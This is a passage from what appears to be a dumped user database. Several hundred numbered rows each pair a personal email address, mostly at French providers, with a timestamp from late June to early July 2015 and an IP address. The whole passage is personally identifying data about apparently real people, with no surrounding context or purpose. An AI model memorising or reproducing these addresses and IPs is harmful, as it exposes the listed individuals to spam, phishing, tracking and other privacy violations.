13:29:06;109.128.109.159 +11439;srebout@wanadoo.fr;2015-06-22 14:04:08;90.40.60.64 +11440;yaniseazede@yahoo.fr;2015-06-22 14:13:26;81.248.23.54 +11441;emeryjulie69@yahoo.fr;2015-06-22 14:15:59;91.151.76.160 +11442;jacquie.rossi@free.fr;2015-06-22 14:26:01;88.165.64.1 +11443;audetho@gmail.com;2015-06-22 15:53:41;77.193.62.120 +11444;salomejacob71@gmail.com;2015-06-22 15:56:20;176.187.71.120 +11445;agnesfauveau@gmail.com;2015-06-22 16:12:11;78.245.242.166 +11446;catherine.crabos@yahoo.fr;2015-06-22 16:19:18;88.177.233.249 +11447;shishi@cegetel.net;2015-06-22 16:25:55;90.83.60.253 +11448;as_dhos@hotmail.fr;2015-06-22 16:32:15;176.190.60.222 +11449;domiplas@sfr.fr;2015-06-22 16:37:24;176.180.221.39 +11450;natoumoi@yahoo.fr;2015-06-22 18:25:09;31.39.12.203 +11451;dominique.bouldoires@live.fr;2015-06-22 18:53:28;89.156.91.249 +11452;angelique.gassmann1@orange.fr;2015-06-22 19:13:15;86.235.33.233 +11453;bothua.priscille@orange.fr;2015-06-22 19:44:19;77.194.53.49 +11454;s.mohammad@mailistec.fr;2015-06-22 21:47:54;62.35.89.74 +11455;anso27@hotmail.com;2015-06-22 21:49:06;81.243.171.51 +11456;rapid.pressing@free.fr;2015-06-22 22:03:23;109.25.174.16 +11457;charras.sandrineka@hotmail.fr;2015-06-22 22:12:12;78.125.185.171 +11458;blanc123@gmail.com;2015-06-22 22:28:19;85.26.107.112 +11459;fadela59@outlook.fr;2015-06-22 23:00:04;46.193.0.10 +11460;cine-priss@live.fr;2015-06-22 23:00:46;81.49.96.125 +11461;carolinejacquier@yahoo.fr;2015-06-22 23:25:54;176.189.53.117 +11462;princesselilimauve@hotmail.fr;2015-06-22 23:36:01;62.212.116.211 +11463;anouchka.ronceray@laposte.net;2015-06-23 00:11:47;89.2.88.152 +11464;aurore.garnier@yahoo.fr;2015-06-23 06:56:58;85.26.113.4 +11465;crystalle031@hotmail.com;2015-06-23 07:14:51;88.162.134.251 +11466;martine.alain.martin@orange.fr;2015-06-23 08:28:39;2.3.233.151 +11467;martine.alain.martin@wanadoo.fr;2015-06-23 08:29:41;2.3.233.151 +11468;vladie.em@mail.be;2015-06-23 08:42:40;212.166.60.2 +11469;karin.hansotte@skynet.be;2015-06-23 08:47:32;213.181.39.77 +11470;claire.bouchery@neuf.fr;2015-06-23 08:50:10;88.176.247.134 +11471;f.souvestre@wanadoo.fr;2015-06-23 08:59:42;213.41.152.170 +11472;diana.bartoli@hotmail.fr;2015-06-23 09:16:26;81.80.53.22 +11473;loti.mm03@club-internet.fr;2015-06-23 09:34:27;82.121.255.199 +11474;charlotte.socquet@laposte.net;2015-06-23 09:46:43;82.230.36.175 +11475;debilos@neuf.fr;2015-06-23 10:02:53;159.50.252.79 +11476;mmmarjo@hotmail.fr;2015-06-23 10:43:29;77.134.0.108 +11477;samantha_guillaume@outlook.fr;2015-06-23 11:14:39;194.8.148.141 +11478;corinne-chastang@htp-villebon.com;2015-06-23 11:36:46;81.80.164.85 +11479;christian.davy22@22free.fr;2015-06-23 11:36:57;78.235.139.17 +11480;melissa.gazagnes@gmail.com;2015-06-23 12:06:55;94.23.140.104 +11481;annie.divrechy@gmail.com;2015-06-23 12:34:21;90.47.239.171 +11482;christine-moser@hotmail.fr;2015-06-23 12:34:29;109.217.93.83 +11483;mtj.terrade@free.fr;2015-06-23 13:52:16;88.161.46.120 +11484;rigault.melissa@voila.fr;2015-06-23 13:57:03;128.78.128.171 +11485;michelle.balester@free.fr;2015-06-23 14:04:46;82.235.204.149 +11486;nat.sarah@gmail.com;2015-06-23 14:23:26;82.247.3.172 +11487;sister.alix0@gmail.com;2015-06-23 14:48:54;80.12.59.214 +11488;watterlos@gmail.com;2015-06-23 15:19:16;86.199.87.101 +11489;s.sirbu@hotmail.com;2015-06-23 15:23:37;212.41.211.121 +11490;articorpsformiste@hotmail.fr;2015-06-23 15:30:01;85.171.73.64 +11491;marylene.2a@hotmail.fr;2015-06-23 16:32:40;92.150.17.112 +11492;suzette.magistrini6@orange.fr;2015-06-23 16:48:02;86.193.15.165 +11493;frubettino@hotmail.com;2015-06-23 17:02:03;82.66.40.80 +11494;andre.tercier@free.fr;2015-06-23 17:02:43;88.188.15.4 +11495;dorothe.evelin@orange.fr;2015-06-23 17:40:36;80.12.55.194 +11496;marielaurebruno@hotmail.fr;2015-06-23 17:48:45;78.194.133.129 +11497;amolivetti@hotmail.fr;2015-06-23 18:43:13;85.69.110.147 +11498;alixam@wanadoo.fr;2015-06-23 19:34:18;82.121.140.15 +11499;inesscabral@hotmail.com;2015-06-23 19:36:26;89.156.43.34 +11500;nelly.sirlonge@free.fr;2015-06-23 19:48:11;88.161.217.22 +11501;laranicot@live.fr;2015-06-23 19:53:29;86.221.87.14 +11502;oliveiraaugusto@orange.fr;2015-06-23 21:57:34;90.4.34.156 +11503;nadine.grilliet@gmail.com;2015-06-24 01:32:44;195.254.160.193 +11504;Sala@yahoo.com;2015-06-24 03:16:40;46.246.41.226 +11505;bfraissinier@gmail.com;2015-06-24 06:16:23;90.9.52.228 +11506;lulue.jacou@orange.fr;2015-06-24 09:14:56;83.201.84.245 +11507;brigitte_dumont@orange.fr;2015-06-24 09:35:29;92.155.255.15 +11508;johanna.hagege@free.fr;2015-06-24 09:36:56;82.123.155.105 +11509;lililem@free.fr;2015-06-24 10:25:33;88.174.123.193 +11510;julietteliu0626@gmail.com;2015-06-24 10:30:00;188.115.9.217 +11511;desireedomagala@free.fr;2015-06-24 11:29:46;212.234.65.210 +11512;cloe.mendes@free.fr;2015-06-24 11:58:37;82.242.53.180 +11513;fandenouss@hotmail.fr;2015-06-24 12:24:06;78.224.240.171 +11514;bernadette.jette@familadore.com;2015-06-24 12:24:09;92.137.28.26 +11515;s.billaut@grand-lille.cci.fr;2015-06-24 12:59:10;78.123.70.79 +11516;dianeluz.modele@gmail.com;2015-06-24 13:28:26;88.161.233.124 +11517;bund@sfr.fr;2015-06-24 14:06:34;91.91.237.253 +11518;xumingjie1976@yahoo.com;2015-06-24 14:30:42;83.142.144.68 +11519;alix.toschini8@orange.fr;2015-06-24 14:50:20;90.54.167.158 +11520;ericmagda147@hotmail.com;2015-06-24 14:56:34;81.50.185.5 +11521;aude.monfront@gmail.com;2015-06-24 14:58:19;193.248.240.90 +11522;marieh.n@free.fr;2015-06-24 15:12:13;88.168.140.109 +11523;yolaine@serial-kombi.com;2015-06-24 15:38:49;82.127.162.103 +11524;ericlyon9@gmail.com;2015-06-24 16:16:51;80.254.150.51 +11525;409452358@qq.com;2015-06-24 16:48:19;58.64.183.120 +11526;christine.gilant@imprimerie-ras.fr;2015-06-24 17:19:26;92.103.80.211 +11527;juliette.paillaud@orange.fr;2015-06-24 17:32:43;88.161.229.240 +11528;mariongutierrezq@gmail.com;2015-06-24 17:36:05;109.208.208.162 +11529;blackmamba971@yahoo.fr;2015-06-24 17:53:03;78.245.232.95 +11530;virginie.payet@orange.fr;2015-06-24 18:41:07;92.147.85.250 +11531;prioul@free.fr;2015-06-24 19:06:34;78.242.230.9 +11532;jef.ninie@sfr.fr;2015-06-24 20:38:25;109.16.180.109 +11533;fredrossize@laposte.net;2015-06-24 20:41:42;90.39.133.105 +11534;laurane.givelet@gmail.com;2015-06-24 20:55:58;176.189.72.55 +11535;corneliascoffie@gmail.com;2015-06-24 21:14:18;78.223.68.151 +11536;dolores.barrier@wanadoo.fr;2015-06-24 21:32:10;80.9.58.6 +11537;vrbillecart@live.fr;2015-06-24 21:51:51;80.118.250.160 +11538;dongjianjing79@yahoo.fr;2015-06-24 22:13:19;90.3.89.69 +11539;v.bono@yahoo.fr;2015-06-24 22:36:46;90.54.153.237 +11540;m-pieraggi@hotmail.fr;2015-06-24 23:42:00;77.145.179.12 +11541;christel.chaudier@gmail.com;2015-06-25 07:26:35;88.169.0.197 +11542;ELSIE92YU@GMAIL.COM;2015-06-25 11:23:38;92.103.52.134 +11543;nathalielamenagere@gmail.com;2015-06-25 12:20:21;92.143.186.176 +11544;mag1474@yahoo.fr;2015-06-25 12:48:14;78.121.117.126 +11545;claude.migayrou-martin@anadoo.fr;2015-06-25 13:01:02;86.223.198.181 +11546;francoisehillion@free.fr;2015-06-25 14:21:07;78.193.226.93 +11547;kandi1@live.fr;2015-06-25 14:21:48;195.191.109.191 +11548;alice.perso@aol.fr;2015-06-25 14:48:55;92.128.70.177 +11549;koreen13@yahoo.fr;2015-06-25 15:11:51;84.100.209.196 +11550;beatrice.lebredonchel@sfr.fr;2015-06-25 15:59:07;91.88.52.106 +11551;christianedenion@hotmail.fr;2015-06-25 16:04:01;2.8.152.117 +11552;denise.osmont@outlook.fr;2015-06-25 16:50:23;93.23.156.37 +11553;micati@hotmail.fr;2015-06-25 17:03:42;90.54.144.71 +11554;pernincarine@hotmail.fr;2015-06-25 17:45:55;88.138.141.39 +11555;magtribe@hotmail.com;2015-06-25 18:08:53;83.199.39.251 +11556;crichardmereau@free.fr;2015-06-25 19:07:26;82.243.111.71 +11557;lcrevette@gmail.com;2015-06-25 19:09:22;92.145.214.129 +11558;alyssa_bustos@hotmail.fr;2015-06-25 20:16:20;90.34.174.33 +11559;christianemoulis@orange.fr;2015-06-25 20:17:30;31.37.248.218 +11560;patmodelio@yahoo.fr;2015-06-25 20:35:01;176.181.168.15 +11561;infoparistrade@gmail.com;2015-06-25 20:48:08;92.90.115.130 +11562;vasseur.amelie@orange.fr;2015-06-25 21:08:50;90.7.175.75 +11563;costechareyre.martine@gmail.com;2015-06-25 21:34:25;78.252.165.14 +11564;elyha26@gmail.com;2015-06-25 21:39:37;83.200.17.195 +11565;annabel@hotmail.fr;2015-06-25 21:40:16;78.197.54.53 +11566;eilaroc905@aol.com;2015-06-25 21:41:00;78.211.64.126 +11567;eva.sellet@gmail.com;2015-06-25 22:17:15;88.121.8.24 +11568;emilie.leconte@gmail.com;2015-06-25 22:21:48;90.19.155.52 +11569;sofy.nana.sp@gmail.com;2015-06-25 22:25:22;78.230.29.122 +11570;rochemelodie71@gmail.com;2015-06-25 23:16:17;90.56.225.198 +11571;emeraldas_999@hotmail.com;2015-06-25 23:50:23;109.25.6.7 +11572;alziaschristine@free.fr;2015-06-26 05:29:14;82.246.149.179 +11573;chantal.bertschy@bluewin.ch;2015-06-26 07:54:18;178.196.95.76 +11574;lunagenevieve@orange.fr;2015-06-26 11:05:02;83.114.52.16 +11575;bernardo.vero@sfr.fr;2015-06-26 11:19:06;109.16.45.254 +11576;mariecricri0747@gmail.com;2015-06-26 11:42:48;80.9.249.166 +11577;lilou-bam@hotmail.fr;2015-06-26 13:01:26;31.172.233.46 +11578;mariechristineblanc4@sfr.fr;2015-06-26 13:20:24;77.205.174.10 +11579;agnes.meillarec@gmail.com;2015-06-26 14:33:43;77.193.167.250 +11580;pronnierstephanie@gmail.com;2015-06-26 17:09:39;90.11.220.146 +11581;christine.13@laposte.net;2015-06-26 17:13:02;88.178.205.15 +11582;affefbsaada@hotmail.fr;2015-06-26 17:22:23;87.231.237.140 +11583;philchriclement@orange.fr;2015-06-26 17:44:21;86.235.124.217 +11584;audrey.bourguignon@orange.fr;2015-06-26 20:17:22;31.37.27.5 +11585;martinetroffaes34@gmail.com;2015-06-26 21:38:29;90.0.48.176 +11586;estelle.valroff@gmail.com;2015-06-26 21:38:32;88.137.118.44 +11587;yl27630@gmail.com;2015-06-26 21:53:44;78.126.195.225 +11588;isaribourel@gmail.com;2015-06-26 22:56:05;109.30.184.25 +11589;alhcoal@hotmail.com;2015-06-26 23:30:27;92.148.115.56 +11590;signorinacocodu02@yahoo.fr;2015-06-27 00:27:16;83.192.86.68 +11591;nazya-95-1985@live.fr;2015-06-27 01:07:09;5.49.1.231 +11592;adeline.gasner141@orange.fr;2015-06-27 01:57:23;90.39.176.73 +11593;sandra.fraudin@orange.fr;2015-06-27 02:23:57;109.217.24.211 +11594;marylene0@orange.fr;2015-06-27 07:04:48;90.51.124.77 +11595;saninas@mls.nc;2015-06-27 07:31:07;103.17.47.229 +11596;lamure66@hotmail.com;2015-06-27 09:03:36;78.209.200.86 +11597;michel.desnouhes@orange.fr;2015-06-27 09:23:25;90.25.85.107 +11598;titounaix@hotmail.com;2015-06-27 10:06:06;80.14.161.186 +11599;adelinepochard@orange.fr;2015-06-27 11:17:15;83.192.14.162 +11600;ncartoux@free.fr;2015-06-27 11:45:58;88.164.86.60 +11601;celin_lucas@yahoo.fr;2015-06-27 11:57:53;83.156.244.55 +11602;nicole.savoureux@gmail.com;2015-06-27 12:11:40;85.203.84.211 +11603;martine.douille@live.fr;2015-06-27 13:58:52;81.64.119.150 +11604;patrice.berger@cegetel.net;2015-06-27 14:30:08;79.88.73.70 +11605;mietteolivier@hotmail.fr;2015-06-27 15:58:33;109.27.232.150 +11606;ambrosetto.stephanie@hotmail.fr;2015-06-27 16:43:13;89.86.231.83 +11607;andrea.bedourede@icloud.com;2015-06-27 17:30:27;78.237.84.134 +11608;detchenique-.gerard@orange.fr;2015-06-27 17:58:02;86.222.60.185 +11609;c.jobert@aliceadsl.fr;2015-06-27 19:09:55;83.153.240.160 +11610;mariepineau@free.fr;2015-06-27 19:15:37;78.247.188.36 +11611;aurelieide@hotmail.fr;2015-06-27 21:55:03;109.210.53.129 +11612;dabarraud@hotmail.fr;2015-06-27 22:15:47;82.125.63.105 +11613;kristel.leone@live.fr;2015-06-27 22:54:09;86.211.7.168 +11614;masy.laure@free.fr;2015-06-27 23:07:51;80.215.178.54 +11615;reginetincres@wanadoo.fr;2015-06-27 23:42:34;90.55.163.225 +11616;martine.romagnoli@sfr.fr;2015-06-28 00:51:15;78.115.183.113 +11617;th-saux@wanadoo.fr;2015-06-28 06:25:17;109.222.54.20 +11618;pierre-arlette@sfr.fr;2015-06-28 07:28:28;83.153.75.70 +11619;sylvain.demarquoy@gmail.com;2015-06-28 08:09:33;176.149.206.220 +11620;celinemandier@hotmail.com;2015-06-28 08:46:29;88.122.163.56 +11621;laurence423@gmail.com;2015-06-28 08:52:17;78.229.110.75 +11622;colette-chevassu@orange.fr;2015-06-28 08:59:25;90.26.82.192 +11623;chantal.audinat@sfr.fr;2015-06-28 10:41:54;78.125.137.104 +11624;b-thouvenin@orange.fr;2015-06-28 12:16:44;86.211.145.48 +11625;justineaimeengounou@yahoo.fr;2015-06-28 14:07:03;41.204.79.141 +11626;eds33@hotmail.fr;2015-06-28 15:06:04;90.60.173.116 +11627;lingmanxinmandy@gmail.com;2015-06-28 15:55:36;163.1.236.137 +11628;moinana@163.cm;2015-06-28 16:03:04;105.235.133.169 +11629;poisonivi@hotmail.fr;2015-06-28 16:07:38;92.138.98.163 +11630;zakia.paris@hotmail.fr;2015-06-28 16:29:07;213.245.19.39 +11631;rouxab@yahoo.fr;2015-06-28 17:06:19;88.187.228.1 +11632;catherine.conat@wanadoo.fr;2015-06-28 17:10:19;78.214.0.185 +11633;anncatherine.richter@gmail.com;2015-06-28 17:55:09;109.106.77.168 +11634;nduvallon@aol.com;2015-06-28 18:25:36;123.122.102.96 +11635;gabi_2@hotmail.fr;2015-06-28 18:35:12;90.46.68.212 +11636;lec.julie@laposte.net;2015-06-28 18:44:37;78.206.172.107 +11637;isabelle.mistecki@sfr.fr;2015-06-28 19:25:57;77.149.3.155 +11638;marinamichelas@gmail.com;2015-06-28 19:26:45;88.182.33.220 +11639;sandrine.marant@orange.fr;2015-06-28 19:55:56;90.57.26.164 +11640;monir7@hotmail.es;2015-06-28 21:32:21;80.102.122.106 +11641;jun.mel143@gmail.com;2015-06-28 21:37:44;78.250.45.191 +11642;pascal.cbj@orange.fr;2015-06-28 21:41:15;78.120.21.159 +11643;charlottegagnepain@hotmail.fr;2015-06-28 21:45:53;92.134.148.8 +11644;Sanela.dra@hotmail.com;2015-06-28 22:14:49;81.245.127.239 +11645;marlenevivier@hotmail.fr;2015-06-28 23:15:05;92.145.40.159 +11646;gaelle-baude@voila.fr;2015-06-28 23:26:00;78.198.49.76 +11647;binglan-8@163.com;2015-06-29 05:01:41;218.19.216.195 +11648;sylvieg801@orange.fr;2015-06-29 07:55:56;90.19.30.161 +11649;cd-david@wanadoo.fr;2015-06-29 09:01:35;86.228.177.61 +11650;totem06@hotmail.fr;2015-06-29 09:52:28;89.82.146.238 +11651;vincent.bru@wanadoo.fr;2015-06-29 10:20:31;92.157.145.76 +11652;dominiquehoufflin@hotmail.fr;2015-06-29 11:00:22;90.85.129.33 +11653;maryline.bouillon@orange.fr;2015-06-29 11:26:21;160.92.7.69 +11654;michacha@laposte.net;2015-06-29 13:05:40;93.14.68.33 +11655;anne.emeriau@yahoo.fr;2015-06-29 13:22:14;78.198.244.93 +11656;kteyes@gmail.com;2015-06-29 13:36:09;193.57.220.1 +11657;c_frank@gmx.ch;2015-06-29 15:05:42;85.0.31.211 +11658;yoyo74110@hotmail.fr;2015-06-29 16:09:38;86.209.3.128 +11659;mathieu.chanet@pierre-fabre.com;2015-06-29 17:34:11;213.190.76.3 +11660;corinne.millasson@montreux.ch;2015-06-29 18:58:25;81.63.219.167 +11661;place.chantal@orange.fr;2015-06-29 20:00:12;90.27.156.55 +11662;carograi@hotmail.com;2015-06-29 20:58:03;92.148.139.5 +11663;ghislainetahiti@gmail.com;2015-06-29 21:29:34;78.203.164.56 +11664;meriem.yorgov@gmail.com;2015-06-29 21:54:10;93.25.162.39 +11665;bollengier2003@yahoo.fr;2015-06-29 22:16:57;79.81.5.120 +11666;sisihehe@yahoo.fr;2015-06-29 22:27:42;82.246.88.33 +11667;lilas36@hotmail.com;2015-06-30 00:02:48;213.213.226.36 +11668;elyane7clementine@hotmail.com;2015-06-30 05:33:55;94.109.41.187 +11669;anaisbb@yahoo.fr;2015-06-30 08:55:41;90.44.253.204 +11670;elodie.gaillet@gmail.com;2015-06-30 09:58:32;192.44.63.164 +11671;marjorie46.mr@gmail.com;2015-06-30 10:35:42;85.233.221.4 +11672;patricia.berne@orange.fr;2015-06-30 11:24:11;78.155.148.187 +11673;baskika@inbox.ru;2015-06-30 11:40:36;90.42.39.5 +11674;lauriepelissier@orange.fr;2015-06-30 11:48:43;90.42.190.108 +11675;laevasions@hotmail.fr;2015-06-30 12:18:19;86.74.229.224 +11676;nicolelasnier@yahoo.fr;2015-06-30 12:45:56;197.27.112.253 +11677;hedit.totm1@orange.fr;2015-06-30 13:09:40;77.147.229.7 +11678;claudine.deleuze@hotmail.com;2015-06-30 13:37:15;85.91.175.213 +11679;francoisesebastiao@yahoo.fr;2015-06-30 13:48:26;81.80.174.165 +11680;adcarmes@outlook.fr;2015-06-30 13:52:20;80.15.113.224 +11681;valsau@orange.fr;2015-06-30 13:59:05;171.16.210.1 +11682;vincelaub@gmail.com;2015-06-30 14:08:40;93.25.222.186 +11683;vergnaud.sophie@neuf.fr;2015-06-30 14:10:35;79.84.173.78 +11684;cellier@gmail.com;2015-06-30 15:16:00;176.187.236.116 +11685;deadgiirl@hotmail.fr;2015-06-30 15:30:51;77.150.78.28 +11686;sandrinebutin@orange.fr;2015-06-30 15:31:11;92.153.203.227 +11687;annelantermino@yahoo.fr;2015-06-30 17:14:07;95.210.210.254 +11688;bouchetsylvie418@gmail.com;2015-06-30 18:00:57;82.240.220.110 +11689;nathalie.banlier@orange.fr;2015-06-30 18:45:13;90.60.62.53 +11690;jfpguyot@orange.fr;2015-06-30 19:47:09;81.50.53.81 +11691;baruzzi@aliceadsl.fr;2015-06-30 20:53:31;78.242.226.202 +11692;claire.martinat@hotmail.fr;2015-06-30 23:26:33;87.88.98.133 +11693;s.boiral@orange.fr;2015-06-30 23:27:29;78.192.112.128 +11694;sylviecherer@hotmail.com;2015-07-01 00:21:12;92.90.16.166 +11695;tilou.gom@hotmail.fr;2015-07-01 07:21:11;83.205.193.175 +11696;tilleyheather@yahoo.fr;2015-07-01 08:47:20;81.56.51.24 +11697;solange.coquoin@yayoo.fr;2015-07-01 08:57:05;81.67.191.179 +11698;amariep1956@gmail.com;2015-07-01 09:37:52;86.77.231.177 +11699;smuguet@moryglobal.com;2015-07-01 09:38:53;90.56.24.217 +11700;communication@kkube.fr;2015-07-01 10:10:53;78.209.42.17 +11701;galliane.aelbrecht@gmail.com;2015-07-01 12:25:36;85.171.157.26 +11702;erobillard@alesgroupe.com;2015-07-01 12:38:04;195.25.51.193 +11703;cviennot@hotmail.fr;2015-07-01 13:45:13;85.168.231.194 +11704;lnlaur@gmail.com;2015-07-01 14:51:42;2.2.135.211 +11705;alain.moulin0107@orange.fr;2015-07-01 15:04:38;90.4.182.139 +11706;vaya1.condios@gmail.com;2015-07-01 16:10:31;217.108.119.25 +11707;ac.monneraye@gmail.com;2015-07-01 16:32:07;109.13.61.120 +11708;sandra.boumezer@hotmail.fr;2015-07-01 18:04:32;90.3.203.81 +11709;jacdieu@orange.fr;2015-07-01 19:18:54;90.58.89.162 +11710;renato.verona@wanadoo.fr;2015-07-01 20:20:20;86.200.187.156 +11711;delattre.pauline@gmail.com;2015-07-01 20:27:00;86.217.59.48 +11712;carol.cadieu@virginbox.fr;2015-07-01 21:24:17;109.30.255.10 +11713;alice.fricot@orange.fr;2015-07-01 21:31:00;90.57.115.111 +11714;celine.etche@live.fr;2015-07-01 22:21:16;86.72.228.37 +11715;petitemesange64@gmail.com;2015-07-02 00:03:29;2.8.58.253 +11716;yushang725@hotmail.com;2015-07-02 01:44:09;80.215.155.239 +11717;chaixpascal@sfr.fr;2015-07-02 08:13:44;86.76.153.227 +11718;a.guiraud2@wanadoo.fr;2015-07-02 10:13:39;83.193.131.135 +11719;zaahra50@gmail.com;2015-07-02 10:28:40;77.159.46.129 +11720;joelle.garconnet@yahoo.fr;2015-07-02 11:23:00;82.126.119.38 +11721;mariechr-boissy@wanadoo.fr;2015-07-02 11:40:26;90.54.76.247 +11722;maryse.fery@orange.fr;2015-07-02 11:40:37;86.218.207.158 +11723;jv35@orange.fr;2015-07-02 12:08:28;90.32.154.46 +11724;ann_angel33@hotmail.com;2015-07-02 12:45:39;77.195.40.13 +11725;maryline.le_noe@aliceadsl.fr;2015-07-02 13:29:40;88.178.221.152 +11726;geraldine592000@yahoo.fr;2015-07-02 14:17:46;193.49.62.50 +11727;marie-alicepeson@hotmail.fr;2015-07-02 15:44:09;89.225.251.10 +11728;sealands@hotmail.fr;2015-07-02 15:50:15;89.84.137.51 +11729;moumousse2106@hotmail.com;2015-07-02 17:47:48;217.195.19.145 +11730;virginieheras@free.fr;2015-07-02 18:05:58;86.202.134.155 +11731;tiphaine-co@live.fr;2015-07-02 18:25:37;90.42.208.236 +11732;caro9dec@hotmail.fr;2015-07-02 18:54:45;31.39.254.27 +11733;v.banse@laboratoires-bories.com;2015-07-02 19:28:33;81.192.42.116 +11734;klein.yveline@gmail.com;2015-07-02 21:30:28;80.215.230.219 +11735;taieb.marc@wanadoo.fr;2015-07-03 00:18:34;90.8.152.197 +11736;cazahelene@hotmail.com;2015-07-03 02:04:55;86.205.22.167 +11737;contact@villa-angelicae.com;2015-07-03 07:42:06;92.133.195.200 +11738;mescouteloup@hotmail.fr;2015-07-03 07:56:18;78.232.195.196 +11739;claudebeziat@sfr.fr;2015-07-03 08:46:25;212.198.53.130 +11740;anny.raoul@orange.fr;2015-07-03 11:59:50;2.3.240.148 +11741;daniela.cordani@orange.fr;2015-07-03 12:13:23;82.123.53.129 +11742;catherinejacques2@gmail.com;2015-07-03 13:01:07;193.252.108.36 +11743;chouanniere.samuel@orange.fr;2015-07-03 14:21:16;109.218.0.78 +11744;yasmine.ouldmadi@sfr.fr;2015-07-03 16:23:44;80.185.147.32 +11745;la-chartroulle@orange.fr;2015-07-03 17:20:32;92.128.116.136 +11746;hvhhtv051@orange.fr;2015-07-03 17:29:59;109.1.186.144 +11747;maffray.christelle@neuf.fr;2015-07-03 20:33:03;109.11.107.115 +11748;BAJeanlouis2ss@gmail.com;2015-07-03 21:14:30;90.49.5.177 +11749;paulsylvieromero@yahoo.fr;2015-07-03 21:31:28;203.147.85.49 +11750;djdomjehan@gmail.com;2015-07-03 23:15:52;89.227.116.200 +11751;mpbotte@gmail.com;2015-07-04 07:49:53;93.11.87.184 +11752;e.lecoq2@orange.fr;2015-07-04 08:34:46;90.23.10.94 +11753;francoise.jeanbriard@orange.fr;2015-07-04 09:40:04;81.255.51.5 +11754;eden_nat@orange.fr;2015-07-04 12:07:41;86.197.67.30 +11755;karinefontainem@gmail.com;2015-07-04 12:50:03;88.182.49.107 +11756;nathalie-biget@orange.fr;2015-07-04 15:19:16;109.220.191.111 +11757;sandrine.orriere@orange.fr;2015-07-04 15:44:32;2.8.46.88 +11758;lbbulle@gmail.com;2015-07-04 15:57:47;31.32.11.43 +11759;rosalie.schneider17@gmail.com;2015-07-04 16:59:55;81.64.138.226 +11760;laurence.2811@hotmail.fr;2015-07-04 18:05:27;92.142.7.193 +11761;sophie.eeckman.1@gmail.com;2015-07-04 18:17:05;88.121.252.164 +11762;kitsou42@msn.com;2015-07-04 18:59:19;176.150.209.34 +11763;mzanutti@yahoo.com;2015-07-04 19:50:25;109.133.180.191 +11764;josette321@hotmail.ca;2015-07-04 20:00:42;83.205.251.5 +11765;m.riedlinger@hotmail.fr;2015-07-04 20:04:49;195.132.134.7 +11766;manu.balanod@gmail.com;2015-07-04 20:18:05;93.0.134.22 +11767;noemiepottrain@gmail.com;2015-07-04 21:11:12;195.132.210.6 +11768;n.parenti@ville-ajaccio.fr;2015-07-04 21:17:29;92.158.241.59 +11769;karlai@hotmail.fr;2015-07-04 22:46:36;93.0.121.112 +11770;manou1704@hotmail.fr;2015-07-05 03:00:14;90.7.112.251 +11771;sa.rossolin@laposte.net;2015-07-05 07:50:30;109.122.190.188 +11772;braux.valerie@neuf.fr;2015-07-05 08:06:43;82.242.64.2 +11773;denise.donna@hotmail.fr;2015-07-05 08:35:41;213.245.3.220 +11774;sophyb@free.fr;2015-07-05 09:27:03;78.236.211.215 +11775;christine.belvas@wanadoo.fr;2015-07-05 11:29:21;92.155.233.8 +11776;emmanuelle.ciron@orange.fr;2015-07-05 13:18:52;109.212.230.5 +11777;chloe.drillat@hotmail.fr;2015-07-05 13:31:29;82.230.76.200 +11778;chantal.beguin@wanadoo.fr;2015-07-05 15:05:24;2.5.198.41 +11779;huguette.roussel-hubert@sfr.fr;2015-07-05 15:31:35;84.98.4.218 +11780;gabeaud.nathalie@neuf.fr;2015-07-05 15:51:01;89.185.168.58 +11781;a.akkerman@tele2.nl;2015-07-05 15:55:44;143.176.153.66 +11782;pascaleseng@gmail.com;2015-07-05 16:14:29;90.40.157.44 +11783;ambrejaune.31@gmail.com;2015-07-05 16:19:04;82.232.213.55 +11784;aurelie-maire@hotmail.fr;2015-07-05 17:02:34;78.227.90.23 +11785;mcgrollier@bbox.fr;2015-07-05 17:38:32;87.88.35.84 +11786;emmasailly@hotmail.fr;2015-07-05 18:27:32;78.238.51.81 +11787;sabrina.klinkenberg@gmail.com;2015-07-05 19:16:30;85.201.88.252 +11788;nicole.guyard@neuf.fr;2015-07-05 20:03:13;109.16.113.145 +11789;mathildejay@hotmail.fr;2015-07-05 20:23:31;90.42.80.59 +11790;hermia8@hotmail.com;2015-07-05 20:59:25;89.87.65.239 +11791;brigitte.aubry0152@orange.fr;2015-07-05 21:12:45;2.8.123.195 +11792;fleur.le-cloirec@orange.fr;2015-07-05 21:14:18;83.114.105.249 +11793;therese.dauga@orange.fr;2015-07-05 21:58:57;86.206.74.14 +11794;katia.sement@orange.fr;2015-07-05 23:36:59;109.209.143.28 +11795;julie-breton@orange.fr;2015-07-06 07:36:33;90.32.107.166 +11796;pharmacie.mercier-remongin@wanadoo.fr;2015-07-06 10:08:23;83.192.13.119 +11797;abdelazzouz21@yahoo.fr;2015-07-06 11:31:48;176.180.160.41 +11798;lilisue11400@laposte.net;2015-07-06 11:31:52;176.180.160.41 +11799;nlh2@laposte.net;2015-07-06 11:41:30;80.13.184.76 +11800;coline.krattinger@orange.fr;2015-07-06 11:42:48;109.211.28.23 +11801;Kristou93@hotmail.fr;2015-07-06 12:28:07;2.9.56.217 +11802;perso.cubat@gmail.com;2015-07-06 12:37:21;93.15.132.26 +11803;yerma14@wanadoo.fr;2015-07-06 12:43:10;86.202.213.17 +11804;loviadli@free.fr;2015-07-06 13:47:36;78.203.161.2 +11805;gillesgaspard@orange.fr;2015-07-06 15:22:03;92.161.214.103 +11806;walterpa@orange.fr;2015-07-06 15:29:14;90.48.95.25 +11807;joelle.delabre@yahoo.fr;2015-07-06 17:14:12;81.250.171.10 +11808;mhduluc@laposte.net;2015-07-06 18:07:23;80.215.234.48 +11809;sandrine.chanel@orange.fr;2015-07-06 20:19:13;90.9.196.202 +11810;aly.siong@hotmail.fr;2015-07-06 21:54:31;82.67.185.203 +11811;laurenced972@gmail.com;2015-07-06 22:51:05;109.203.249.67 +11812;siw01@hotmail.fr;2015-07-06 22:52:33;82.67.170.89 +11813;annacadeau@gmail.com;2015-07-06 23:58:02;37.163.106.19 +11814;virginie.thierry38@sfr.fr;2015-07-07 00:04:41;78.116.94.45 +11815;helenaglow@gmail.com;2015-07-07 00:20:16;89.155.153.101 +11816;sylweiss17@gmail.com;2015-07-07 00:34:45;83.141.146.196 +11817;526077599@qq.com;2015-07-07 01:28:08;80.88.212.242 +11818;dmartinopa@voo.be;2015-07-07 07:16:28;85.201.245.165 +11819;zkochetkova@mail.ru;2015-07-07 08:59:02;90.6.113.41 +11820;elodie.moris@orange.fr;2015-07-07 09:23:58;2.4.171.175 +11821;val.dhondt@gmail.com;2015-07-07 09:36:49;212.166.25.82 +11822;marie-france.desbiens@orange.fr;2015-07-07 09:39:01;92.147.242.148 